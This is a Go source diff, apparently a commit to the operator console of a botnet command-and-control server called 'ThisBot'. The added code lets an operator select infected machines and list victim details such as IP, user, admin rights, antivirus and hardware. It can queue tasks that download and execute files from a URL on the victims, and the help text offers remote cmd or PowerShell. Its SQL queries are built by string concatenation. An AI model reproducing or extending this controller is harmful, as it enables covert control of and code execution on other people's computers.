@@ -5,13 +5,18 @@ import (
55 "ThisBot/config"
66 "ThisBot/db1"
77 "ThisBot/utils"
8+ "bufio"
9+ "database/sql"
10+ "encoding/json"
811 "fmt"
912 "log"
1013 "os"
1114 "os/exec"
1215 "path"
1316 "runtime"
17+ "strconv"
1418 "strings"
19+ "sync"
1520 "time"
1621
1722 _ "github.com/go-sql-driver/mysql"
@@ -30,14 +35,143 @@ func show_banner() {
3035
3136func help_handler () {
3237 fmt .Println ("1. help/h: Show help menu" )
33- fmt .Println ("2. exec [option] path/url: Execute executable file or download from host and execute, option could be -h means hide file " )
38+ fmt .Println ("2. exec path/url [args] : Execute executable file or download from host and execute" )
3439 fmt .Println ("3. cmd/pws: Remote cmd or powershell" )
3540 fmt .Println ("4. list: Show all bots" )
3641 fmt .Println ("5. info id: Show bot info which ID is id" )
42+ fmt .Println ("6. select botid: Select a connected bot to operate" )
43+ fmt .Println ("7. clear: Clean the screen" )
44+ fmt .Println ("8. mode [broadcast]: Show current mode or switch to broadcast" )
45+ }
46+
47+ func select_handler (ary []string ) {
48+ if len (ary ) < 2 {
49+ fmt .Println ("Usage: select botid, please enter help command" )
50+ return
51+ }
52+ // Check it's a number
53+ botid , err := strconv .ParseInt (ary [1 ], 10 , 64 )
54+ if err != nil || botid == 0 {
55+ fmt .Println ("You need to enter a bot id which is number" )
56+ return
57+ }
58+ // Check if bot in database record
59+ var bot common.Client
60+ if get_bot_info (botid , & bot ) == false {
61+ fmt .Println ("[-] Bot doesn't exist, please enter right bot id" )
62+ return
63+ }
64+ // Switch mode
65+ common .CurrentBot = botid
66+ var mu sync.Mutex
67+
68+ mu .Lock ()
69+ fmt .Println ("🐾 --------------------------------------------------- 🐾" )
70+ fmt .Println ("⚔️⚔️⚔️ Currrent bot: " )
71+ fmt .Println ("🐾 --------------------------------------------------- 🐾" )
72+ fmt .Printf ("👣 ID: %d\n " , botid )
73+ fmt .Println ("🏴 Guid: " + bot .Guid )
74+ fmt .Println ("🌍 IP: " + bot .Ip )
75+ fmt .Println ("👽 Who: " + bot .Whoami )
76+ fmt .Println ("💻 OS: " + bot .Os )
77+ install , _ := strconv .ParseInt (bot .Installdate , 10 , 64 )
78+ t := time .UnixMilli (install )
79+ fmt .Println ("📅 InstallDate: " + t .Format ("2006-01-02 15:04:05" ))
80+ admin := "yes"
81+ if bot .Isadmin != admin {
82+ admin = "no"
83+ }
84+ fmt .Println ("👽 Admin: " + admin )
85+ fmt .Println ("😈 Anti-Virus: " + bot .Antivirus )
86+ fmt .Println ("🤖 CPU: " + bot .Cpuinfo )
87+ fmt .Println ("🎭 GPU: " + strings .TrimSpace (bot .Gpuinfo ))
88+ lastseen , _ := strconv .ParseInt (bot .Lastseen , 10 , 64 )
89+ t = time .UnixMilli (lastseen )
90+ fmt .Println ("🔬 Lastseen: " + t .Format ("2006-01-02 15:04:05" ))
91+ fmt .Println ("👾 Version: v" + bot .Version )
92+ fmt .Println ("🐾 --------------------------------------------------- 🐾" )
93+ mu .Unlock ()
3794}
3895
3996func exec_handler (ary []string ) {
40- // if len(ary)
97+ if len (ary ) < 2 {
98+ fmt .Println ("Usage: exec path/url [args], please enter help command" )
99+ return
100+ }
101+ var options string = ""
102+ for i := 1 ; i < len (ary ); i ++ {
103+ options += " " + ary [i ]
104+ }
105+ options = strings .TrimSpace (options )
106+ // Complete the command
107+ if strings .ToLower (ary [0 ]) == "exec" {
108+ ary [0 ] = "execute"
109+ }
110+ // Query if there's command in database
111+ sqlStr := "select id from commands where name='" + ary [0 ] + "'"
112+
113+ command_id := 0
114+ err := db1 .QueryRow (common .Db , sqlStr ).Scan (& command_id )
115+ if err != nil {
116+ if err == sql .ErrNoRows {
117+ fmt .Println ("No such command" )
118+
119+ } else {
120+ fmt .Println ("Command error" )
121+ }
122+ return
123+ }
124+
125+ sqlStr = "insert into tasks (bot_id, command_id, args, status) values (?,?,?,?)"
126+ map_args := map [string ]interface {}{
127+ "args" : options ,
128+ "hidden" : "false" ,
129+ }
130+ byt , _ := json .Marshal (map_args )
131+ _ , err = db1 .Insert (common .Db , sqlStr , common .CurrentBot , command_id , byt , "queued" )
132+ if err != nil {
133+ fmt .Println ("[-] Failed to generate command" )
134+ return
135+ } else {
136+ fmt .Println ("[+] Generate command okay" )
137+ }
138+ }
139+
140+ func info_handler (ary []string ) {
141+ if len (ary ) < 2 {
142+ fmt .Println ("[-] Usage: info id, request latest bot information" )
143+ return
144+ }
145+ // TODO
146+ }
147+
148+ func get_bot_info (botid int64 , bot * common.Client ) bool {
149+ // Check if bot in database record
150+ sqlStr := "select guid, ip, whoami, os, installdate, isadmin, antivirus, cpuinfo, gpuinfo, clientversion, lastseen from clients where id='" + strconv .FormatInt (botid , 10 ) + "'"
151+ err := db1 .QueryRow (common .Db , sqlStr ).Scan (& bot .Guid , & bot .Ip , & bot .Whoami , & bot .Os , & bot .Installdate , & bot .Isadmin , & bot .Antivirus , & bot .Cpuinfo , & bot .Gpuinfo , & bot .Version , & bot .Lastseen )
152+ if err != nil {
153+ return false
154+ }
155+
156+ bot .Id = int (botid )
157+ return true
158+ }
159+
160+ func mode_handler (ary []string ) {
161+ if len (ary ) == 1 {
162+ if common .CurrentBot == 0 {
163+ fmt .Println ("[+] Broadcast mode" )
164+ } else {
165+ fmt .Println ("[+] Current bot ID: " + strconv .FormatInt (common .CurrentBot , 10 ))
166+ }
167+ } else {
168+ if ary [1 ] == "broadcast" {
169+ common .CurrentBot = 0
170+ fmt .Println ("[+] Switch to broadmode" )
171+ } else {
172+ fmt .Println ("[-] Failed to switch to broadcast mode" )
173+ }
174+ }
41175}
42176
43177func list_handler () {
@@ -98,6 +232,10 @@ func main() {
98232 // Initialize all
99233 config .Init (& common .Cfg )
100234
235+ if len (os .Args ) > 1 && os .Args [1 ] == "--init-commands" {
236+ db1 .InitCommands (common .Db )
237+ }
238+
101239 // Running the task cleaner
102240 task_cleaner (common .Db , 5 * 60 )
103241 // Running the server
@@ -110,12 +248,17 @@ func main() {
110248 show_banner ()
111249 for {
112250 fmt .Print ("$ " )
113- fmt . Scanln ( & command )
251+ command , _ = bufio . NewReader ( os . Stdin ). ReadString ( '\n' )
114252 command = strings .TrimSpace (command )
253+ if command == "" {
254+ continue
255+ }
115256 cmdAry := strings .Fields (command )
116257
117258 switch cmdAry [0 ] {
118- case "list" :
259+ case "select" , "s" :
260+ select_handler (cmdAry )
261+ case "list" , "l" :
119262 list_handler ()
120263 case "help" , "h" :
121264 help_handler ()
@@ -124,7 +267,12 @@ func main() {
124267 case "clear" :
125268 clear_handler ()
126269 show_banner ()
270+ case "info" :
271+ info_handler (cmdAry )
272+ case "mode" :
273+ mode_handler (cmdAry )
127274 }
275+
128276 }
129277
130278}
0 commit comments